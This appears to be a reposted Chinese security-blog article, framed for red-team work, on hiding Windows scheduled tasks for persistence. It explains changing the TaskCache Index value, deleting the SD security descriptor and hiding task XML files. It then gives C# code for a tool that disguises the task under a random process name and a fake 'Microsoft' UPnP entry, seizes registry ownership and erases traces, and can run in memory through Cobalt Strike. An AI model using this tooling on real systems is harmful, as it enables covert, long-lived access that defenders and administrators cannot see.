Skip to content

Latest commit

 

History

History
531 lines (291 loc) · 18.7 KB

[Z2O安全攻防]-2022-12-22-Windows计划任务的进阶.md

File metadata and controls

531 lines (291 loc) · 18.7 KB

Windows计划任务的进阶

Z2O安全攻防 Z2O安全攻防

Z2O安全攻防

微信号 Z2O_SEC

功能介绍 From zero to one


__发表于

收录于合集

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。

文章正文

本文阐述Windows计划任务在系统中的隐藏方式及工具化的转换。

前言

计划任务作为持久化的机制之一,也被用在红队行动中。但常见的利用方法在被安全软件阻断的同时,也没有达到隐藏效果,并提高了被发现的风险。所以,需要深入理解利用计划任务,规避风险,达到持久控制。

隐藏

创建计划任务

at.exe 在 windows8 开始就弃用了,之后的系统都是使用 schtasks.exe 创建计划任务。schtasks 比 at 更加强大, 使管理员能够在本地或远程计算机上创建、删除、查询、更改、运行和结束计划任务。运行不带参数的 schtasks.exe 将显示每个已注册任务的状态和下次运行时间。

更多查看 Microsoft 文档

schtasks /Create   
[/S system [/U username [/P [password]]]]  
[/RU username [/RP [password]] /SC schedule [/MO modifier] [/D day]  
[/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]  
[/RI interval] [ {/ET endtime | /DU duration} [/K]   
[/XML xmlfile] [/V1]] [/SD startdate] [/ED enddate] [/IT] [/Z] [/F]

命令行

schtasks /create /tn TestSchtask /tr C:\Windows\System32\cmd.exe /sc DAILY /st 13:00:00

XML 文件

计划任务一旦创建成功,将会自动在 %SystemRoot%\System32\Tasks 目录生成一个关于该任务的描述性 XML 文件,包含了所有的任务信息。

运行 taskschd.msc ,同时可以在任务计划程序看到刚才所创建的任务,处在程序库的根目录下。

注册表

在 Windows XP 时,计划任务注册表路径为

计算机\HKEY_LOCAL_MACHINE\Software\Microsoft\SchedulingAgent\

Windows7 以后变成

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\

以 Windows 10 为例,查看刚才所创建任务计划的键值,路径:计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\TestTask

Id {GUID},任务对应的guid编号。

Index 一般任务值为3,其他值未知。

SD Security Descriptor 安全描述符,在Windows中,每一个安全对象实体都拥有一个安全描述符,安全描述符包含了被保护对象相关联的安全信息的数据结构,它的作用主要是为了给操作系统提供判断来访对象的权限。

【 经测试:Windows 7 、Windows Server 2008 无 SD 值、Windows 10 有 SD 值 】

安全软件阻止

如果主机存在安全软件,计划任务的创建会被阻止,命令行无法成功创建。(可通过 计划任务API 绕过,工具化利用此点)

schtasks /create /tn "TestTask" /ru system /tr C:\Windows\System32\cmd.exe /sc weekly /d mon /st 01:00

隐藏姿势

非完全隐藏

非完全隐藏一个计划任务,通过修改 \Schedule\TaskCache\Tree 下对应任务的 Index 值,一般情况下值为 3 。

Index 修改

  • • 修改 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{TaskName} 下对应任务的 Index 值为 0

以 Windows 10 为例,新建计划任务 cmd 的高级安全设置中所有者为 SYSTEM,默认无法更改注册表键值。

更改所有者为 Administrators,并赋予完全控制权限,才能修改注册表键值。

当 Index 修改为 0 后, 利用 taskschd.mscschtasks.exe 、甚至系统API查询出的所有任务中,都查看不到所创建的任务。但如果知道该任务名称,可以通过 schtasks /query /tn {TaskName Path} 查到。

但在 Windows Server 2008 与 Windows 7 中,修改 Index 键值为 0 ,任务计划程序中仍存在该任务。原因未知

XML 文件删除

  • • 删除 %SystemRoot%\System32\Tasks 下任务对应的 XML 文件
    1. 在 Windows 10 中,删除 XML 文件,并不影响计划任务的运行,且在 taskschd.msc 任务计划程序中,依然存在对应任务;
  1. 2. 在 Windows 7 与 Windows Server 2008 中,若删除 XML 文件,任务计划程序中的对应任务也会被删除,并且影响计划任务的运行,但注册表中项值依然存在。

完全隐藏

SD 删除

  • • 删除 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{TaskName}\SD

  • • 删除 %SystemRoot%\System32\Tasks 下任务对应的 XML 文件

这样操作,无论何种方式 (排除注册表) 都查不到该任务,较为彻底。因为 SD 就是安全描述符,它的作用主要是为了给操作系统提供判断来访对象的权限,但被删除后,无法判断用户是否有权限查看该任务信息,导致系统直接判断无权限查看。因此在使用 schtasks /query /tn \Microsoft\Windows\AppID\cmd 查询时,提示“错误: 系统找不到指定的文件”。

但经过测试,Windows 7 、Windows Server 2008 无 SD 值、Windows 10 有 SD 值。

总结

Windows 计划任务的隐藏并未绝对,因操作系统存在差异,最终实现的效果也不同。但作为持久化的机制之一,需要深入理解利用。


工具化

主要以计划任务的代码开发为主,将手工化转变为工具化。

效果图

【腾讯云】境外1核2G服务器低至2折,半价续费券限量免费领取!

https://curl.qcloud.com/MSIFpJMg

实现步骤

    1. 选择主机随机进程名作为计划任务程序文件名
    1. 将计划任务程序文件复制到 %AppData%\Microsoft\Windows\Themes\
    1. 创建的计划任务名取同一随机进程名
    1. 计划任务触发器以分钟为单位,无限期持续
    1. 更改 Index、删除 SD 的键值,隐藏计划任务对应的 XML 文件
    1. 删除已添加的计划任务

编写代码

编写任务计划的工具,需要用到任务计划API:Microsoft.Win32.TaskScheduler.dll。在 Visual Studio 中,可以直接从NuGet程序包中安装获取。
当然,也可以从 GitHub TaskScheduler 中下载获取。

随机进程名

选择主机随机进程名,作为计划任务程序文件名与计划任务名,主要为了每次运行名称都随机,防止后续被溯源,并且取随机进程名,也是一种隐匿。

//选择主机随机进程名  
Process[] progresses = Process.GetProcesses();  
Random random = new Random();  
string randomname = (progresses[random.Next(progresses.Length)].ProcessName);

创建计划任务

触发器以分钟为单位,无限期持续的运行所创建的计划任务,主要是为了权限的持久性。如果说只运行一次或持续时间为一天,那对于权限的维持可以说是毫无意义。

计划任务的创建没有放在根路径下,而是创建在\Microsoft\Windows\UPnP\ 路径下,达到隐匿。

//创建计划任务  
public static void CreateTask(string randomname, string destinationFile, string min)  
{  
    TaskDefinition td = TaskService.Instance.NewTask();  
    td.RegistrationInfo.Author = "Microsoft"; //创建者  
    td.RegistrationInfo.Description = "UPnPHost Service Settings"; //描述  
    //计划任务运行时间 Min/无限期  
    double time = double.Parse(min);  
    TimeTrigger tt = new TimeTrigger();  
    tt.StartBoundary = DateTime.Now;  
    tt.Repetition.Interval = TimeSpan.FromMinutes(time);  
  
    td.Triggers.Add(tt);  
    td.Actions.Add(destinationFile, null, null);  
    string taskpath = @"\Microsoft\Windows\UPnP\" + randomname;  
    TaskService.Instance.RootFolder.RegisterTaskDefinition(taskpath, definition: td, TaskCreation.CreateOrUpdate, null, null, 0);  
}

隐藏计划任务

XML 文件隐藏

文中已经说过:

    1. 在 Windows 10 中,删除 XML 文件,并不影响计划任务的运行,且在 taskschd.msc 任务计划程序中,依然存在对应任务;
  1. 2. 在 Windows 7 与 Windows Server 2008 中,若删除 XML 文件,任务计划程序中的对应任务也会被删除,并且影响计划任务的运行。

为了程序的可用性,这里只能将 XML 文件进行隐藏,而不是删除。

//隐藏 %SystemRoot%\System32\Tasks 下计划任务对应的 XML 文件  
public static void HidXml(string taskpath)  
{  
    string xml = $@"C:\Windows\System32\Tasks" + taskpath;  
    FileInfo info = new FileInfo(xml);  
    if (info.Exists)  
    {  
        info.Attributes = FileAttributes.Hidden;  
        Console.WriteLine($"[*] Hidden task xml file: \n{xml}");  
    }  
}

Index 修改

通过修改 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{TaskName} 下对应任务的 Index 值为 0后,利用 taskschd.mscschtasks.exe 、API 都查看不到所创建的任务。

首先需要更改注册表对应计划任务项值的高级安全设置中的所有者。在未获取特权模式下,工具运行后提示“拒绝访问”,这显然是权限不足。

可以使用 TokenManipulator 类 ,从而获取特权模式。这就需要在项目中添加一个新的C#类,之后在头部 using CosmosKey.Utils;

try  
{  
    TokenManipulator.AddPrivilege("SeRestorePrivilege");  
    TokenManipulator.AddPrivilege("SeBackupPrivilege");  
    TokenManipulator.AddPrivilege("SeTakeOwnershipPrivilege");  
  
    var subKey = Registry.ClassesRoot.OpenSubKey(@"AppID\{9CA88EE3-ACB7-47c8-AFC4-AB702511C276}", RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.TakeOwnership);  
    // code to change owner...  
}  
finally  
{  
    TokenManipulator.RemovePrivilege("SeRestorePrivilege");  
    TokenManipulator.RemovePrivilege("SeBackupPrivilege");  
    TokenManipulator.RemovePrivilege("SeTakeOwnershipPrivilege");  
}

获取特权模式后,更改注册表项值的所有者为 Administrators,同时要更改注册表项值的权限,这才能对 Index 进行修改操作。

//更改注册表项值的所有者  
RegistryKey subKey = Registry.LocalMachine.OpenSubKey(regpath,RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRightsTakeOwnership);  
RegistrySecurity rs = new RegistrySecurity();  
//设置安全性的所有者为Administrators  
rs.SetOwner(new NTAccount("Administrators"));  
//为注册表项设置权限  
subKey.SetAccessControl(rs);  
  
//更改注册表项值的权限  
RegistryAccessRule rar = new RegistryAccessRule("Administrators",RegistryRights.FullControl, AccessControlType.Allow);  
rs.AddAccessRule(rar);  
subKey.SetAccessControl(rs);  
subKey.Close();

SD 删除

SD 键值的删除,是计划任务完全隐藏项之一,当然要排除在注册表中查看。但经过测试,Windows 7 、Windows Server 2008 无 SD 值、Windows 10 有 SD 值。所以就要做 if 的判断,以免程序报错。

//判断SD键值是否存在(Win7 与 win2008 无SD)  
public static void RegeditKeyExist(string regpath)  
{  
    string[] subkeyNames;  
    RegistryKey sd = Registry.LocalMachine.OpenSubKey(regpath, true);  
    subkeyNames = sd.GetValueNames();  
    foreach (string keyName in subkeyNames)  
    {  
        if (keyName == "SD")  
        {  
            sd.DeleteValue("SD");  
            sd.Close();  
            return;  
        }  
    }  
    sd.Close();  
    return;  
}

删除计划任务

修改注册表中的键值 Index 与 SD 后,任务计划程序中就查看不到该任务。通过 TaskCollection 也无法查到此任务,就无法删除所创建的计划任务。

所以,为了工具的完整性,删除代码只做参考,并未引用到程序中。

//删除计划任务 (需要管理员权限)  
public static void DeleteTask(string taskname)  
{  
    //不要写成 "\Microsoft\Windows\UPnP\" — 报错 — 找不到  
    string taskpath = @"\Microsoft\Windows\UPnP";  
    //获得计划任务  
    TaskService ts = new TaskService();  
    TaskCollection tc = ts.GetFolder(taskpath).GetTasks();  
    //Console.WriteLine($"{tc}");  
    if (tc.Exists(taskname))  
    {  
        string dtask = taskpath + "\\" + taskname;  
        ts.RootFolder.DeleteTask(dtask);  
        Console.WriteLine("\n[+] Successfully delete scheduled task !");  
    }  
    else  
    {  
        Console.WriteLine("\n[!] Please add scheduled task !");  
    }  
}

DLL文件打包到EXE

引用的 Microsoft.Win32.TaskScheduler.dll 并不能直接编译到程序中,每次运行就需要 SchTask.exe 与Microsoft.Win32.TaskScheduler.dll 在同一目录下,否则运行就会报错。

可以使用 ILMerge 将 .Net 的 DLL 文件打包到 EXE 中,直接在 Visual Studio 中使用 NuGet 程序包管理下载安装即可。也可以使用 ILMerge-GUI 图形化版本打包,更加方便。

程序打包后,在 CobaltStrike 中利用 execute-assembly 可以成功在内存中加载运行。


本文转自 https://payloads.cn/2021/0805/advanced-windows-scheduled- tasks.html,如有侵权,请联系删除。

工具地址:https://github.com/0x727/SchTask_0x727

技术交流

知识星球

**致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。
**

涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 200+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC &EXP以及各种学习笔记等等。

**
**

**
**

交流群

关注公众号回复“ 加群 ”,添加Z2OBot 小K自动拉你加入 Z2O安全攻防交流群 分享更多好东西。

关注我们

关注福利:

**
**

回复“ app " 获取 app渗透和app抓包教程

回复“ 渗透字典 " 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“ 书籍 " 获取 网络安全相关经典书籍电子版pdf


往期文章

我是如何摸鱼到红队的

命令执行漏洞[无]回显[不]出网利用技巧

MSSQL提权全总结

Powershell 免杀过 defender 火绒,附自动化工具

一篇文章带你学会容器逃逸

域渗透 | kerberos认证及过程中产生的攻击

通过DCERPC和ntlmssp获取Windows远程主机信息

预览时标签不可点

微信扫一扫
关注该公众号

知道了

微信扫一扫
使用小程序


取消 允许


取消 允许

: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看